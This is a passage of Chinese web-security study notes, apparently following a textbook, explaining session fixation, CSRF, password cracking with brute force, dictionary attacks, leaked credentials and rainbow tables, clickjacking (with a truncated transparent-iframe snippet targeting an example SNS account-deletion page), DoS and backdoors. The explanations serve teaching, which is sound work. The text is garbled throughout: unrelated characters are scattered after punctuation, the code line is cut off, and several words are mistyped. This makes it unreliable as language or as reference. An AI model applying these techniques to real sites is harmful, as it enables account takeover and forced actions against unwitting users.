4.2养盗、會話固定攻擊
對以竊取目標(biāo)會話ID為主動攻擊手段的會話劫持而言,會話固定攻擊(Session Fixation)攻擊會強制用戶使用攻擊者指定的會話ID适篙,屬于被動攻擊往核。
會話固定攻擊案例
下面我們以認(rèn)證功能為例講解會話固定攻擊。這個Web網(wǎng)站的認(rèn)證功能嚷节,會在認(rèn)證前發(fā)布一個會話ID聂儒,若認(rèn)證成功,就會在服務(wù)器內(nèi)部改變認(rèn)證狀態(tài)硫痰。
攻擊者會準(zhǔn)備陷阱衩婚,先訪問Web網(wǎng)站拿到會話ID(SID==f5d1278e8109),此刻效斑,會話ID會在服務(wù)器上的記錄仍然是未認(rèn)證狀態(tài)(步驟1~2)非春;
攻擊者設(shè)置好強制用戶使用該會話ID的陷阱,并等待用戶拿著這個會話ID前去認(rèn)證缓屠。一旦用戶觸發(fā)陷阱并完成認(rèn)證奇昙,會話ID(SID=f5d1278e8109)在服務(wù)器上的狀態(tài)(用戶A已認(rèn)證)就會被記錄下來(步驟3)
攻擊者估計用戶差不多已觸發(fā)陷阱后,再利用之前這個會話ID訪問網(wǎng)站敌完。由于該會話ID目前是已經(jīng)認(rèn)證狀態(tài)储耐,于是攻擊者作為用戶A的身份順利登錄網(wǎng)站。(步驟4)
Session Adoption
Session Adoption 是指PHP或ASP.NET能夠接收處理未知會話ID的功能滨溉。
惡意使用該功能變可跳過會話固定攻擊的準(zhǔn)備截斷什湘,從Web網(wǎng)站獲得發(fā)行的會話ID的步驟。即业踏,攻擊者可私自創(chuàng)建會話ID構(gòu)成陷阱禽炬,中間件卻會誤以為該會話ID是未知會話ID而接受。
4.3勤家、跨站點請求偽造
跨站點請求偽造攻擊是指攻擊者通過設(shè)置好的陷阱,強制對已完成認(rèn)證的用戶進行非預(yù)期的個人信息或設(shè)定信息等某些狀態(tài)更新柳恐,屬于被動攻擊伐脖。
跨站點請求偽造會有可能造成以下影響:
- 利用已通過認(rèn)證的用戶權(quán)限更新設(shè)定信息等
- 利用已通過認(rèn)證的用戶權(quán)限購買商品
- 利用已通過認(rèn)證的用戶權(quán)限購在留言板上發(fā)表言論
跨站點請求偽造的攻擊案例
下面以留言板功能為例热幔,講解跨站點請求偽造。該功能只允許已認(rèn)證并登錄的用戶在留言板上發(fā)表內(nèi)容讼庇。
在該留言板系統(tǒng)上绎巨,受傷害用戶A是已經(jīng)認(rèn)證狀態(tài)。它的瀏覽器中的Cookie持有已認(rèn)證的會話ID(步驟1)
攻擊者設(shè)定好一旦用戶訪問蠕啄,即會發(fā)送在留言板上發(fā)表非主觀行為產(chǎn)生的評價的請求的陷阱场勤。用戶A的瀏覽器執(zhí)行完陷阱中的請求后,留言板也就會留下那條評論(步驟2)
觸發(fā)陷阱之際歼跟,如果用戶A尚未通過認(rèn)證和媳,則無法利用用戶A的身份權(quán)限在留言板上發(fā)表內(nèi)容。
5哈街、其他安全漏洞
5.1留瞳、密碼破解
密碼破解攻擊即算出密碼,突破認(rèn)證骚秦。攻擊不限于Web應(yīng)用她倘,還包括其他的系統(tǒng)(如FTP或SSH等),本節(jié)將會講解對具備認(rèn)證功能的Web應(yīng)用進行的密碼破解作箍。
密碼破解有兩種手段硬梁,一個是通過網(wǎng)絡(luò)的密碼試錯,另一個是對已加密密碼的破解(指攻擊者如今系統(tǒng)胞得,已獲取加密或散列處理的密碼數(shù)據(jù)的情況)
通過網(wǎng)絡(luò)的密碼試錯
對Web應(yīng)用提供的認(rèn)證功能靶溜,通過網(wǎng)絡(luò)嘗試候選密碼進行的一種攻擊。主要有以下兩種方式懒震。
- 窮舉法
窮舉法又稱暴力破解法罩息,是針對所有密鑰集合構(gòu)成的密鑰空間進行窮舉。即个扰,用所有可行的候選密碼對目標(biāo)的密碼系統(tǒng)試錯瓷炮,用以突破驗證的一種攻擊。
比如銀行采用的個人識別碼是由“4位數(shù)字”組成的密碼递宅,那么就要從0000~9999中的全部數(shù)字逐個進行嘗試娘香。這樣必定在候選的密碼集合中存在一個正確的密碼,可以通過認(rèn)證办龄。
因為窮舉法會嘗試所有的候選密碼烘绽,所以是一種必然能夠破解密碼的攻擊。但是俐填,當(dāng)密鑰空間很龐大時安接,解密可能需要花費數(shù)年,甚至前年時間英融,因此從現(xiàn)實角度考量盏檐,攻擊是失敗的歇式。
- 字典攻擊
字典攻擊是指利用事先手機號的候選密碼(經(jīng)過各種組合方式后存入字典),枚舉字典中的密碼,嘗試通過認(rèn)證的一種攻擊手法胡野。
還是用剛才銀行的例子材失,考慮到用戶使用自己的生日做密碼的可能性較高,于是就可以把生日日期數(shù)值化硫豆,如將0101~1231保存成字典龙巨,然后嘗試。
與窮舉法相比熊响,由于需要嘗試的候選密碼較少旨别,意味著攻擊消耗的時間比較短。但是耘眨,如果字典中沒有正確的密碼昼榛,那就無法破解成功。因此攻擊的成敗取決于字典的內(nèi)容剔难。
利用別處泄密的ID密碼進行攻擊
字典攻擊中有一種利用 其他Web網(wǎng)站已經(jīng)泄露的ID以及密碼列表進行的攻擊胆屿。很多用戶習(xí)慣隨意地在多個Web網(wǎng)站使用同一套ID及密碼,因此攻擊會有相當(dāng)高的成功率
對已加密密碼的破解
Web應(yīng)用在保存密碼時偶宫,一般不會直接以明文的方式保存非迹,通過散列函數(shù)做散列處理或加salt的手段對要保存的密碼本身加密。那即使攻擊者使用某些手段竊取密碼數(shù)據(jù)纯趋,如果想要真正使用這些密碼憎兽,則必須先通過解密等手段,把加密處理的密碼還原成明文形式吵冒。
從加密過的數(shù)據(jù)中導(dǎo)出明文通常有以下幾種方式
通過窮舉法纯命、字典攻擊進行類推
針對密碼使用散列數(shù)進行加密處理的情況,采用窮舉法或字典攻擊相同的手法痹栖,嘗試調(diào)用相同的散列函數(shù)加密候選密碼亿汞,然后把計算出的散列值與目標(biāo)散列值匹配,類推出密碼揪阿。
彩虹表
彩虹表是由明文密碼及與之對應(yīng)的散列值構(gòu)成的一張數(shù)據(jù)庫表疗我,是一種通過事先制作龐大的彩虹表,可在窮舉法南捂、字典攻擊等實際破解過程中縮短消耗時間的技巧吴裤。從彩虹表內(nèi)搜索散列值就可以推導(dǎo)出對應(yīng)的明文密碼。
為了提高攻擊成功率溺健,擁有一張海量數(shù)據(jù)的彩虹表就成了必不可少的條件麦牺。例如在 Free Rainbow Tables 網(wǎng)站上公布的一張由大 小寫字母及數(shù)字全排列的 1~8 位字符串對應(yīng)的 MD5 散列值構(gòu)成 的彩虹表,其大小約為 1050 吉字節(jié)。
5.2枕面、點擊劫持
點擊劫持是指利用透明的按鈕或鏈接做成陷阱愿卒,覆蓋在Web頁面上缚去。然后誘使用戶在不知情的情況下潮秘,點擊那個鏈接訪問內(nèi)容的一種攻擊手段。這種行為又稱為界面?zhèn)窝b(UI Redressing)易结。
已設(shè)置陷阱的Web頁面枕荞,表面上內(nèi)容并無不妥,但是早已埋入想讓用戶點擊的鏈接搞动。當(dāng)用戶點擊到透明的按鈕時躏精,實際上是點擊了已制定透明屬性元素的iframe頁面。
點擊劫持的攻擊案例
下面以SNS網(wǎng)站的注銷功能為例鹦肿,講解點擊劫持攻擊矗烛。
攻擊者在預(yù)料用戶會點擊的Web頁面上設(shè)下陷阱。上圖中釣魚游戲頁面上的PLAY按鈕就是這類陷阱的實例箩溃。
在做過手腳的Web頁面上瞭吃,目標(biāo)的SNS注銷功能頁面將作為透明層覆蓋在游戲頁面上。覆蓋時涣旨,要保證PLAY按鈕與注銷按鈕在同一個位置歪架。
iframe 頁面中使用透明可點擊按鈕的示例
<iframe id="target" src="http://sns.example.jp/leave" style="opaci <button style="position:absolute;top:100;left:100;z-index:-1">
由于 SNS 網(wǎng)站作為透明層被覆蓋,SNS 網(wǎng)站上處于登錄狀態(tài)的 用戶訪問這個釣魚網(wǎng)站并點擊頁面上的 PLAY 按鈕之后霹陡,等同于 點擊了 SNS 網(wǎng)站的注銷按鈕和蚪。
5.3、DoS攻擊
DoS攻擊是一種讓運行中的服務(wù)呈停止?fàn)顟B(tài)的攻擊烹棉。有時也叫做服務(wù)挺直攻擊或拒絕服務(wù)攻擊攒霹。DoS攻擊的對象不限于Web網(wǎng)站,還包括網(wǎng)絡(luò)設(shè)備及服務(wù)器等浆洗。
主要有以下兩種DoS攻擊方式催束。
- 集中利用訪問請求造成資源過載,資源用盡的同時辅髓,實際上服務(wù)也就呈挺直狀態(tài)泣崩。
-
通過攻擊安全漏洞使服務(wù)停止。
其中洛口,集中利用訪問請求的DoS攻擊矫付,單純來講就是發(fā)送大量的合法請求。服務(wù)器很難分表何為正常請求第焰,何為攻擊請求买优,因此很難防止DoS攻擊。
多臺計算機發(fā)起的DoS攻擊稱為DDoS攻擊。DDoS攻擊通常利用那些感染病毒的計算機作為攻擊者的攻擊跳板杀赢。
5.4烘跺、后門程序
后門程序是指開發(fā)設(shè)置的隱藏入口,可不按正常步驟使用受限功能脂崔。利用后門程序就能使用原本受限的功能滤淳。
通常后門程序分為三種類型:
- 開發(fā)截斷作為Debug調(diào)用的后門程序
- 開發(fā)者為了自身利益植入的后門程序
- 攻擊者通過某種方法設(shè)置的后門程序
可通過監(jiān)視進程和通信的狀態(tài)發(fā)現(xiàn)被植入的后門程序。但設(shè)定在Web應(yīng)用中的后門程序砌左,由于和正常使用時區(qū)別不大脖咐,通常很難發(fā)現(xiàn)。